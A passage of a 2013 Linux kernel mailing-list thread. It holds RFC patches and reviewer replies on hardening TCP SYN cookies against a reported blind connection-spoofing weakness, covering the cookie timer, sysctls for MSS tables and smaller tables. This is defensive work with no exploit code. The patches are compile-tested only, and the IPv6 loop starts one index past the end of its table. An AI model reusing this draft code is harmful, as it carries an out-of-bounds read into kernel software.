+++ b/include/net/tcp.h
@@ -482,8 +482,15 @@ extern __u32 syncookie_secret[2][16-4+SHA_DIGEST_WORDS];
 extern struct sock *cookie_v4_check(struct sock *sk, struct sk_buff *skb, 
 				    struct ip_options *opt);
 #ifdef CONFIG_SYN_COOKIES
+#define TCP_SYNCOOKIES_MSS_COUNT_MAX 8
 extern __u32 cookie_v4_init_sequence(struct sock *sk, struct sk_buff *skb, 
 				     __u16 *mss);
+extern int sysctl_tcp4_syncookies_mss[TCP_SYNCOOKIES_MSS_COUNT_MAX];
+extern int sysctl_tcp4_syncookies_mss_count;
+int tcp_syncookies_mss_sysctl(struct ctl_table *ctl, int write,
+				 void __user *buffer, size_t *lenp,
+				 loff_t *ppos, int *count);
+
 #else
 static inline __u32 cookie_v4_init_sequence(struct sock *sk,
 					    struct sk_buff *skb,
@@ -502,6 +509,8 @@ extern struct sock *cookie_v6_check(struct sock *sk, struct sk_buff *skb);
 #ifdef CONFIG_SYN_COOKIES
 extern __u32 cookie_v6_init_sequence(struct sock *sk, const struct sk_buff *skb,
 				     __u16 *mss);
+extern int sysctl_tcp6_syncookies_mss[TCP_SYNCOOKIES_MSS_COUNT_MAX];
+extern int sysctl_tcp6_syncookies_mss_count;
 #else
 static inline __u32 cookie_v6_init_sequence(struct sock *sk,
 					    struct sk_buff *skb,
diff --git a/net/ipv4/syncookies.c b/net/ipv4/syncookies.c
index cf1b720..af0692f 100644
--- a/net/ipv4/syncookies.c
+++ b/net/ipv4/syncookies.c
@@ -145,7 +145,7 @@ static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,
  *
  * Table must be sorted.
  */
-static __u16 const msstab[] = {
+int sysctl_tcp4_syncookies_mss[TCP_SYNCOOKIES_MSS_COUNT_MAX] = {
 	64,
 	512,
 	536,
@@ -154,7 +154,9 @@ static __u16 const msstab[] = {
 	1460,
 	4312,
 	8960,
+	/* update sysctl_tcp4_syncookies_mss_count accordingly */
 };
+int sysctl_tcp4_syncookies_mss_count = 8;
 
 /*
  * This value is the age (in seconds) of syncookies which will always be
@@ -179,10 +181,10 @@ __u32 cookie_v4_init_sequence(struct sock *sk, struct sk_buff *skb, __u16 *mssp)
 
 	tcp_synq_overflow(sk);
 
-	for (mssind = ARRAY_SIZE(msstab) - 1; mssind ; mssind--)
-		if (mss >= msstab[mssind])
+	for (mssind = sysctl_tcp4_syncookies_mss_count - 1; mssind ; mssind--)
+		if (mss >= sysctl_tcp4_syncookies_mss[mssind])
 			break;
-	*mssp = msstab[mssind];
+	*mssp = sysctl_tcp4_syncookies_mss[mssind];
 
 	NET_INC_STATS_BH(sock_net(sk), LINUX_MIB_SYNCOOKIESSENT);
 
@@ -204,7 +206,8 @@ static inline int cookie_check(struct sk_buff *skb, __u32 cookie)
 					    th->source, th->dest, seq,
 					    jiffies / (HZ * 60 * COOKIE_LIFETIME));
 
-	return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;
+	return mssind < sysctl_tcp4_syncookies_mss_count ?
+		sysctl_tcp4_syncookies_mss[mssind] : 0;
 }
 
 static inline struct sock *get_cookie_sock(struct sock *sk, struct sk_buff *skb,
diff --git a/net/ipv4/sysctl_net_ipv4.c b/net/ipv4/sysctl_net_ipv4.c
index 610e324..b2e9266 100644
--- a/net/ipv4/sysctl_net_ipv4.c
+++ b/net/ipv4/sysctl_net_ipv4.c
@@ -235,6 +235,57 @@ static int ipv4_tcp_mem(struct ctl_table *ctl, int write,
 	return 0;
 }
 
+#ifdef CONFIG_SYN_COOKIES
+int tcp_syncookies_mss_sysctl(struct ctl_table *ctl, int write,
+				 void __user *buffer, size_t *lenp,
+				 loff_t *ppos, int *count)
+{
+	int *table = ctl->data;
+	int old_table[TCP_SYNCOOKIES_MSS_COUNT_MAX];
+	int old_count, err, i, prev = 0;
+
+	if (write) {
+		memcpy(old_table, table, sizeof(old_table));
+		old_count = *count;
+		memset(ctl->data, 0, sizeof(old_table));
+	}
+
+	err = proc_dointvec(ctl, write, buffer, lenp, ppos);
+	if (!write)
+		return err;
+	if (err)
+		goto restore;
+
+	for (i = 0; i < TCP_SYNCOOKIES_MSS_COUNT_MAX; ++i) {
+		if (!table[i])
+			break;
+		if (table[i] < 64 ||
+		    table[i] > 65536 ||
+		    prev >= table[i]) {
+			err = -EINVAL;
+			goto restore;
+		}
+		prev = table[i];
+	}
+	*count = i;
+
+	return err;
+restore:
+	*count = old_count;
+	memcpy(table, old_table, sizeof(old_table));
+	return err;
+}
+EXPORT_SYMBOL(tcp_syncookies_mss_sysctl);
+
+static int tcp4_syncookies_mss_sysctl(struct ctl_table *ctl, int write,
+				 void __user *buffer, size_t *lenp,
+				 loff_t *ppos)
+{
+	return tcp_syncookies_mss_sysctl(ctl, write, buffer, lenp, ppos,
+					   &sysctl_tcp4_syncookies_mss_count);
+}
+#endif
+
 static int proc_tcp_fastopen_key(struct ctl_table *ctl, int write,
 				 void __user *buffer, size_t *lenp,
 				 loff_t *ppos)
@@ -424,6 +474,13 @@ static struct ctl_table ipv4_table[] = {
 		.mode		= 0644,
 		.proc_handler	= proc_dointvec
 	},
+	{
+		.procname	= "tcp_syncookies_mss_table",
+		.data		= &sysctl_tcp4_syncookies_mss,
+		.maxlen		= sizeof(sysctl_tcp4_syncookies_mss),
+		.mode		= 0644,
+		.proc_handler	= tcp4_syncookies_mss_sysctl,
+	},
 #endif
 	{
 		.procname	= "tcp_fastopen",
diff --git a/net/ipv6/syncookies.c b/net/ipv6/syncookies.c
index 46e8b27..4268448 100644
--- a/net/ipv6/syncookies.c
+++ b/net/ipv6/syncookies.c
@@ -25,7 +25,7 @@
 #define COOKIEMASK (((__u32)1 << COOKIEBITS) - 1)
 
 /* Table must be sorted. */
-static __u16 const msstab[] = {
+int sysctl_tcp6_syncookies_mss[TCP_SYNCOOKIES_MSS_COUNT_MAX] = {
 	64,
 	512,
 	536,
@@ -34,7 +34,9 @@ static __u16 const msstab[] = {
 	1500 - 60,
 	4460 - 60,
 	9000 - 60,
+	/* update sysctl_tcp6_syncookies_mss_count accordingly */
 };
+int sysctl_tcp6_syncookies_mss_count = 8;
 
 /*
  * This value is the age (in seconds) of syncookies which will always be
@@ -122,11 +124,11 @@ __u32 cookie_v6_init_sequence(struct sock *sk, const struct sk_buff *skb, __u16
 
 	tcp_synq_overflow(sk);
 
-	for (mssind = ARRAY_SIZE(msstab) - 1; mssind ; mssind--)
-		if (mss >= msstab[mssind])
+	for (mssind = sysctl_tcp6_syncookies_mss_count; mssind ; mssind--)
+		if (mss >= sysctl_tcp6_syncookies_mss[mssind])
 			break;
 
-	*mssp = msstab[mssind];
+	*mssp = sysctl_tcp6_syncookies_mss[mssind];
 
 	NET_INC_STATS_BH(sock_net(sk), LINUX_MIB_SYNCOOKIESSENT);
 
@@ -144,7 +146,8 @@ static inline int cookie_check(const struct sk_buff *skb, __u32 cookie)
 					    th->source, th->dest, seq,
 					    jiffies / (HZ * 60 * COOKIE_LIFETIME));
 
-	return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;
+	return mssind < sysctl_tcp6_syncookies_mss_count ?
+		sysctl_tcp6_syncookies_mss[mssind] : 0;
 }
 
 struct sock *cookie_v6_check(struct sock *sk, struct sk_buff *skb)
diff --git a/net/ipv6/sysctl_net_ipv6.c b/net/ipv6/sysctl_net_ipv6.c
index 107b2f1..4492535 100644
--- a/net/ipv6/sysctl_net_ipv6.c
+++ b/net/ipv6/sysctl_net_ipv6.c
@@ -15,6 +15,17 @@
 #include <net/ipv6.h>
 #include <net/addrconf.h>
 #include <net/inet_frag.h>
+#include <net/tcp.h>
+
+#ifdef CONFIG_SYN_COOKIES
+static int tcp6_syncookies_mss_sysctl(struct ctl_table *ctl, int write,
+				 void __user *buffer, size_t *lenp,
+				 loff_t *ppos)
+{
+	return tcp_syncookies_mss_sysctl(ctl, write, buffer, lenp, ppos,
+					   &sysctl_tcp6_syncookies_mss_count);
+}
+#endif
 
 static struct ctl_table ipv6_table_template[] = {
 	{
@@ -35,6 +46,15 @@ static struct ctl_table ipv6_rotable[] = {
 		.mode		= 0644,
 		.proc_handler	= proc_dointvec
 	},
+#ifdef CONFIG_SYN_COOKIES
+	{
+		.procname	= "tcp_syncookies_mss_table",
+		.data		= &sysctl_tcp6_syncookies_mss,
+		.maxlen		= sizeof(sysctl_tcp6_syncookies_mss),
+		.mode		= 0644,
+		.proc_handler	= tcp6_syncookies_mss_sysctl,
+	},
+#endif
 	{ }
 };
 

-- 
Jiri Bohac <jbohac@suse.cz>
SUSE Labs, SUSE CZ

[PATCH 3/3] [RFC] TCP syncookies: only allow 3 MSS values by default to mitigate spoofing attacks

[Jiri Bohac]

Jakob Lell discovered that the sequence number that needs to be guessed to
successfully spoof a TCP connection with syncookies only has 27 bits of
entropy. Of the 32 bits, 3 are wasted by the 8 differrent RSS values. [1]

This patch decreases the number of possible MSS values from 8 to 3,
making the spoofing attack 8/3 times more difficult.

Rationale for the new values
- most packets are (1500 - headers); (1450 - headers) is not a huge waste and
  prevents fallback to much lower values
- clients will rarely send MSS below 536, so that's a safe fallback
- we need to keep the minimum (64)

[1]: http://www.jakoblell.com/blog/2013/08/13/quick-blind-tcp-connection-spoofing-with-syn-cookies/

Signed-off-by: Jiri Bohac <jbohac@suse.cz>
---
 net/ipv4/syncookies.c | 9 ++-------
 net/ipv6/syncookies.c | 9 ++-------
 2 files changed, 4 insertions(+), 14 deletions(-)

diff --git a/net/ipv4/syncookies.c b/net/ipv4/syncookies.c
index af0692f..0504bbe 100644
--- a/net/ipv4/syncookies.c
+++ b/net/ipv4/syncookies.c
@@ -148,15 +148,10 @@ static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,
 int sysctl_tcp4_syncookies_mss[TCP_SYNCOOKIES_MSS_COUNT_MAX] = {
 	64,
 	512,
-	536,
-	1024,
-	1440,
-	1460,
-	4312,
-	8960,
+	1450 - 40,
 	/* update sysctl_tcp4_syncookies_mss_count accordingly */
 };
-int sysctl_tcp4_syncookies_mss_count = 8;
+int sysctl_tcp4_syncookies_mss_count = 3;
 
 /*
  * This value is the age (in seconds) of syncookies which will always be
diff --git a/net/ipv6/syncookies.c b/net/ipv6/syncookies.c
index 4268448..ccdb880 100644
--- a/net/ipv6/syncookies.c
+++ b/net/ipv6/syncookies.c
@@ -28,15 +28,10 @@
 int sysctl_tcp6_syncookies_mss[TCP_SYNCOOKIES_MSS_COUNT_MAX] = {
 	64,
 	512,
-	536,
-	1280 - 60,
-	1480 - 60,
-	1500 - 60,
-	4460 - 60,
-	9000 - 60,
+	1450 - 60,
 	/* update sysctl_tcp6_syncookies_mss_count accordingly */
 };
-int sysctl_tcp6_syncookies_mss_count = 8;
+int sysctl_tcp6_syncookies_mss_count = 3;
 
 /*
  * This value is the age (in seconds) of syncookies which will always be

-- 
Jiri Bohac <jbohac@suse.cz>
SUSE Labs, SUSE CZ

Re: [PATCH 1/3] [RFC] TCP syncookies: slow down timer to mitigate spoofing attacks

[Neal Cardwell]

On Thu, Aug 15, 2013 at 8:00 PM, Jiri Bohac <jbohac@suse.cz> wrote:
> (compile-tested only)
>
> Jakob Lell discovered that the sequence number that needs to be guessed to
> successfully spoof a TCP connection with syncookies only has 27 bits of
> entropy. Of the 32 bits, 2 bits are wasted by the four differrent timestamps
> accepted and 3 are wasted by the 8 differrent RSS values. [1]
>
> This patch slows down the timer used in syncookies from 1/60 Hz to 1/60/4 Hz
> so that at any moment only two differrent timer values can be accepted.
> As a result, 1 bit of sequence number entropy is gained.
>
> This changes the maximum cookie age limit from 4 - 5 minutes to 4 - 8 minutes.
>
> [1]: http://www.jakoblell.com/blog/2013/08/13/quick-blind-tcp-connection-spoofing-with-syn-cookies/
>
> Signed-off-by: Jiri Bohac <jbohac@suse.cz>
...

>  /*
> - * This (misnamed) value is the age of syncookie which is permitted.
> + * This value is the age (in seconds) of syncookies which will always be

I believe (hope?) you mean minutes here, rather than seconds. :-) Same
typo occurs in 2 spots each for IPv4 and IPv6.

neal

Re: [PATCH v2 1/3] [RFC] TCP syncookies: slow down timer to mitigate spoofing attacks

[Jiri Bohac]

On Thu, Aug 15, 2013 at 08:34:09PM -0400, Neal Cardwell wrote:
> On Thu, Aug 15, 2013 at 8:00 PM, Jiri Bohac <jbohac@suse.cz> wrote:
> >  /*
> > - * This (misnamed) value is the age of syncookie which is permitted.
> > + * This value is the age (in seconds) of syncookies which will always be
> 
> I believe (hope?) you mean minutes here, rather than seconds. :-) Same
> typo occurs in 2 spots each for IPv4 and IPv6.

Oh, of course, thanks for noticing! So let's change the constant
and its use to actually be in seconds - fixed patch below:



(compile-tested only)
Jakob Lell discovered that the sequence number that needs to be guessed to
successfully spoof a TCP connection with syncookies only has 27 bits of
entropy. Of the 32 bits, 2 bits are wasted by the four differrent timestamps
accepted and 3 are wasted by the 8 differrent RSS values. [1]

This patch slows down the timer used in syncookies from 1/60 Hz to 1/60/4 Hz
so that at any moment only two differrent timer values can be accepted.
As a result, 1 bit of sequence number entropy is gained.

This changes the maximum cookie age limit from 4 - 5 minutes to 4 - 8 minutes.

[1]: http://www.jakoblell.com/blog/2013/08/13/quick-blind-tcp-connection-spoofing-with-syn-cookies/

Signed-off-by: Jiri Bohac <jbohac@suse.cz>
---
 net/ipv4/syncookies.c | 30 ++++++++++++++++--------------
 net/ipv6/syncookies.c | 15 ++++++++-------
 2 files changed, 24 insertions(+), 21 deletions(-)

diff --git a/net/ipv4/syncookies.c b/net/ipv4/syncookies.c
index b05c96e..cf1b720 100644
--- a/net/ipv4/syncookies.c
+++ b/net/ipv4/syncookies.c
@@ -114,13 +114,13 @@ static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport,
  * If the syncookie is bad, the data returned will be out of
  * range.  This must be checked by the caller.
  *
- * The count value used to generate the cookie must be within
- * "maxdiff" if the current (passed-in) "count".  The return value
+ * The count value used to generate the cookie must be the same or
+ * one less than the current (passed-in) "count".  The return value
  * is (__u32)-1 if this test fails.
  */
 static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,
 				  __be16 sport, __be16 dport, __u32 sseq,
-				  __u32 count, __u32 maxdiff)
+				  __u32 count)
 {
 	__u32 diff;
 
@@ -129,7 +129,7 @@ static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,
 
 	/* Cookie is now reduced to (count * 2^24) ^ (hash % 2^24) */
 	diff = (count - (cookie >> COOKIEBITS)) & ((__u32) - 1 >> COOKIEBITS);
-	if (diff >= maxdiff)
+	if (diff >= 2)
 		return (__u32)-1;
 
 	return (cookie -
@@ -157,6 +157,16 @@ static __u16 const msstab[] = {
 };
 
 /*
+ * This value is the age (in seconds) of syncookies which will always be
+ * permitted. Cookies aged up to twice this value may be permitted as
+ * a result of rounding errors.
+ * Its ideal value should be dependent on TCP_TIMEOUT_INIT and
+ * sysctl_tcp_retries1. It's a rather complicated formula (exponential
+ * backoff) to compute at runtime so it's currently hardcoded here.
+ */
+#define COOKIE_LIFETIME (4 * 60)	/* 4 to 8 minutes */
+
+/*
  * Generate a syncookie.  mssp points to the mss, which is returned
  * rounded down to the value encoded in the cookie.
  */
@@ -178,17 +188,10 @@ __u32 cookie_v4_init_sequence(struct sock *sk, struct sk_buff *skb, __u16 *mssp)
 
 	return secure_tcp_syn_cookie(iph->saddr, iph->daddr,
 				     th->source, th->dest, ntohl(th->seq),
-				     jiffies / (HZ * 60), mssind);
+				     jiffies / (HZ * COOKIE_LIFETIME), mssind);
 }
 
 /*
- * This (misnamed) value is the age of syncookie which is permitted.
- * Its ideal value should be dependent on TCP_TIMEOUT_INIT and
- * sysctl_tcp_retries1. It's a rather complicated formula (exponential
- * backoff) to compute at runtime so it's currently hardcoded here.
- */
-#define COUNTER_TRIES 4
-/*
  * Check if a ack sequence number is a valid syncookie.
  * Return the decoded mss if it is, or 0 if not.
  */
@@ -199,8 +202,7 @@ static inline int cookie_check(struct sk_buff *skb, __u32 cookie)
 	__u32 seq = ntohl(th->seq) - 1;
 	__u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr,
 					    th->source, th->dest, seq,
-					    jiffies / (HZ * 60),
-					    COUNTER_TRIES);
+					    jiffies / (HZ * COOKIE_LIFETIME));
 
 	return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;
 }
diff --git a/net/ipv6/syncookies.c b/net/ipv6/syncookies.c
index d5dda20..46e8b27 100644
--- a/net/ipv6/syncookies.c
+++ b/net/ipv6/syncookies.c
@@ -37,12 +37,14 @@ static __u16 const msstab[] = {
 };
 
 /*
- * This (misnamed) value is the age of syncookie which is permitted.
+ * This value is the age (in seconds) of syncookies which will always be
+ * permitted. Cookies aged up to twice this value may be permitted as
+ * a result of rounding errors.
  * Its ideal value should be dependent on TCP_TIMEOUT_INIT and
  * sysctl_tcp_retries1. It's a rather complicated formula (exponential
  * backoff) to compute at runtime so it's currently hardcoded here.
  */
-#define COUNTER_TRIES 4
+#define COOKIE_LIFETIME (4 * 60)	/* 4 to 8 minutes */
 
 static inline struct sock *get_cookie_sock(struct sock *sk, struct sk_buff *skb,
 					   struct request_sock *req,
@@ -96,15 +98,14 @@ static __u32 secure_tcp_syn_cookie(const struct in6_addr *saddr,
 
 static __u32 check_tcp_syn_cookie(__u32 cookie, const struct in6_addr *saddr,
 				  const struct in6_addr *daddr, __be16 sport,
-				  __be16 dport, __u32 sseq, __u32 count,
-				  __u32 maxdiff)
+				  __be16 dport, __u32 sseq, __u32 count)
 {
 	__u32 diff;
 
 	cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq;
 
 	diff = (count - (cookie >> COOKIEBITS)) & ((__u32) -1 >> COOKIEBITS);
-	if (diff >= maxdiff)
+	if (diff >= 2)
 		return (__u32)-1;
 
 	return (cookie -
@@ -131,7 +132,7 @@ __u32 cookie_v6_init_sequence(struct sock *sk, const struct sk_buff *skb, __u16
 
 	return secure_tcp_syn_cookie(&iph->saddr, &iph->daddr, th->source,
 				     th->dest, ntohl(th->seq),
-				     jiffies / (HZ * 60), mssind);
+				     jiffies / (HZ * COOKIE_LIFETIME), mssind);
 }
 
 static inline int cookie_check(const struct sk_buff *skb, __u32 cookie)
@@ -141,7 +142,7 @@ static inline int cookie_check(const struct sk_buff *skb, __u32 cookie)
 	__u32 seq = ntohl(th->seq) - 1;
 	__u32 mssind = check_tcp_syn_cookie(cookie, &iph->saddr, &iph->daddr,
 					    th->source, th->dest, seq,
-					    jiffies / (HZ * 60), COUNTER_TRIES);
+					    jiffies / (HZ * COOKIE_LIFETIME));
 
 	return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;
 }
-- 
1.8.3.1


-- 
Jiri Bohac <jbohac@suse.cz>
SUSE Labs, SUSE CZ

Re: Quick Blind TCP Connection Spoofing with SYN Cookies

[Florian Westphal]

Jiri Bohac <jbohac@suse.cz> wrote:
> > The simplification of TCP Connection Spoofing described here is an
> > inherent problem of TCP SYN Cookies and so there won't be a simple
> > patch which just solves the issue and makes the Spoofing Attack as
> > hard as it is without SYN Cookies. It is only possible to gradually
> > increase the required effort for successfully spoofing a connection
> > e.g. by only accepting the last two instead of four counter values
> > (which will lead to a 60-120s 
> 
> If the counter is slowed down 4 times, accepting only two
> values should result in similar behaviour as we have today.
> 
> Can anyone think of a reason this should not be done?

I was also working on patches that mitigate this (not ready yet),
lets compare notes.

There are two problems.

1) current scheme is dangerous with HZ=1000 on 32
   bit platforms due to jiffies overflow, it needs to be fixed.

Else, cookies can be re-used exactly after 49 day period.

I did straighforward replacement first to not change current timer:

Use getnstimeofday(), take "second" value, shift result by 6 (64-second
granular timer).

If you have time to work on it, I would appreciate if you could take
care of this.

> Additionally, I believe we should reduce the number of possible MSS
> values. I think 3 values should be enough - not supporting jumbo
> frames and wasting a few bytes on sub-optimal MSS around 1400
> bytes should be acceptable when a system is under a DoS attack.

Agreed.  I had a (untested patch) that just kicks out the unlikely
values.  I used 536, 1200, 1440, 1460 for ipv4, and 536, 1220, 1460,
8940 for ipv6.  I think this would be sufficient to keep decent
connectivity for legitimate clients.

We could add an alternate fallback table with more exotic values
and use a bit in the tcp timestamp to indicate use of fallback table
however since that only workswhen ts are used I would not do this unless
there is evidence that this is useful.

As for the cookie lifetime: I agree it should be reduced, allowing
delta for more than one minute seems way too long given that we never
retransmit lost syn/ack.

A conservative change would be to reject delta <= 2, with 64 second
timer.

Cheers,
Florian

Re: [PATCH 3/3] [RFC] TCP syncookies: only allow 3 MSS values by default to mitigate spoofing attacks

[Florian Westphal]

Jiri Bohac <jbohac@suse.cz> wrote:
> Rationale for the new values
> - most packets are (1500 - headers); (1450 - headers) is not a huge waste and
>   prevents fallback to much lower values

Still, 1410 seems weird.

> - clients will rarely send MSS below 536, so that's a safe fallback

Can you elaborate?
You say 'is a safe fallback', yet it is removed in the patch?

> - we need to keep the minimum (64)

Why?

Re: [PATCH 2/3] [RFC] TCP syncookies: introduce sysctl to configure the MSS tables

[Florian Westphal]

Jiri Bohac <jbohac@suse.cz> wrote:
> (compile-tested only)
> 
> This patch introduces two new sysctls
> 	net.ipv4.tcp_syncookies_mss_table
> 	net.ipv6.tcp_syncookies_mss_table
> to manipulate the TCP syncookie MSS tables

The cookie MSS table is small to begin with; trying
to find values that fit all possible clients is a losing game.

I cannot think of any scenarios where 2 machines, connected
to internet, could have different mss tables whilst _both_
improving the default values?

Re: [PATCH 1/3] [RFC] TCP syncookies: slow down timer to mitigate spoofing attacks

[Florian Westphal]

Jiri Bohac <jbohac@suse.cz> wrote:
> This patch slows down the timer used in syncookies from 1/60 Hz to 1/60/4 Hz
> so that at any moment only two differrent timer values can be accepted.
> As a result, 1 bit of sequence number entropy is gained.
> 
> This changes the maximum cookie age limit from 4 - 5 minutes to 4 - 8 minutes.

I think we should just cap at 2 minutes (i.e, accept 0 and 1 minute delta).

A cookie is not validated if the last syn overflow is more than 3
seconds in the past anyway.

Re: [PATCH 2/3] [RFC] TCP syncookies: introduce sysctl to configure the MSS tables

[Jiri Bohac]

On Fri, Aug 16, 2013 at 11:40:57PM +0200, Florian Westphal wrote:
> Jiri Bohac <jbohac@suse.cz> wrote:
> > (compile-tested only)
> > 
> > This patch introduces two new sysctls
> > 	net.ipv4.tcp_syncookies_mss_table
> > 	net.ipv6.tcp_syncookies_mss_table
> > to manipulate the TCP syncookie MSS tables
> 
> The cookie MSS table is small to begin with; trying
> to find values that fit all possible clients is a losing game.

not all servers talk to all the clients. I can imagine some may run very
specific services with very specific packet sizes. Having the MSS
values configurable can't hurt.

> I cannot think of any scenarios where 2 machines, connected
> to internet, could have different mss tables whilst _both_
> improving the default values?

The recently disclosed syncookies vulnerability has differrent
impact on differrent servers.

Some services are secure enough at application level and don't
care at all about TCP connection spoofing. These can use the
sysctl to revert back to the MSS table we have now (or anyting
that better serves their traffic).

Other services are not so secure and some MSS values can be
sacrified to mitigate the risk. With a smaller MSS table, tuning
the values for specific traffic may make even more sense.


-- 
Jiri Bohac <jbohac@suse.cz>
SUSE Labs, SUSE CZ

Re: [PATCH 3/3] [RFC] TCP syncookies: only allow 3 MSS values by default to mitigate spoofing attacks

[Jiri Bohac]

First of all - I don't really care about the default values as
long as they are tunable at run time. I'm fine with leaving the 8
valye MSS table as a default.

On Fri, Aug 16, 2013 at 11:31:01PM +0200, Florian Westphal wrote:
> Jiri Bohac <jbohac@suse.cz> wrote:
> > Rationale for the new values
> > - most packets are (1500 - headers); (1450 - headers) is not a huge waste and
> >   prevents fallback to much lower values
> 
> Still, 1410 seems weird.

I was thinking the path MTU would often be 1500 minus something
for various tunnelling/encapsualtion along the path. The packets
may have some options, so the 1450 was just a wild guess.

If we have only 3 differrent MSS values, I feel it is better to
waste 50 bytes on the "standard" 1500 MTU links instead of making 
packets with options and tunelled traffic fall back to something
like 500.

> > - clients will rarely send MSS below 536, so that's a safe fallback
> 
> Can you elaborate?
> You say 'is a safe fallback', yet it is removed in the patch?

Yeah, sorry,  I was writing the patch description before the patch
itself; I noticed the 512 in the original table and thought it
would be a good idea to keep this.

> > - we need to keep the minimum (64)

I don't know - I could imagine there is some embedded hardware
that can't do fragmentation and advertises very low MSS instead, for
example. I just felt removing this fallback could break things.
I'm not sure. 


-- 
Jiri Bohac <jbohac@suse.cz>
SUSE Labs, SUSE CZ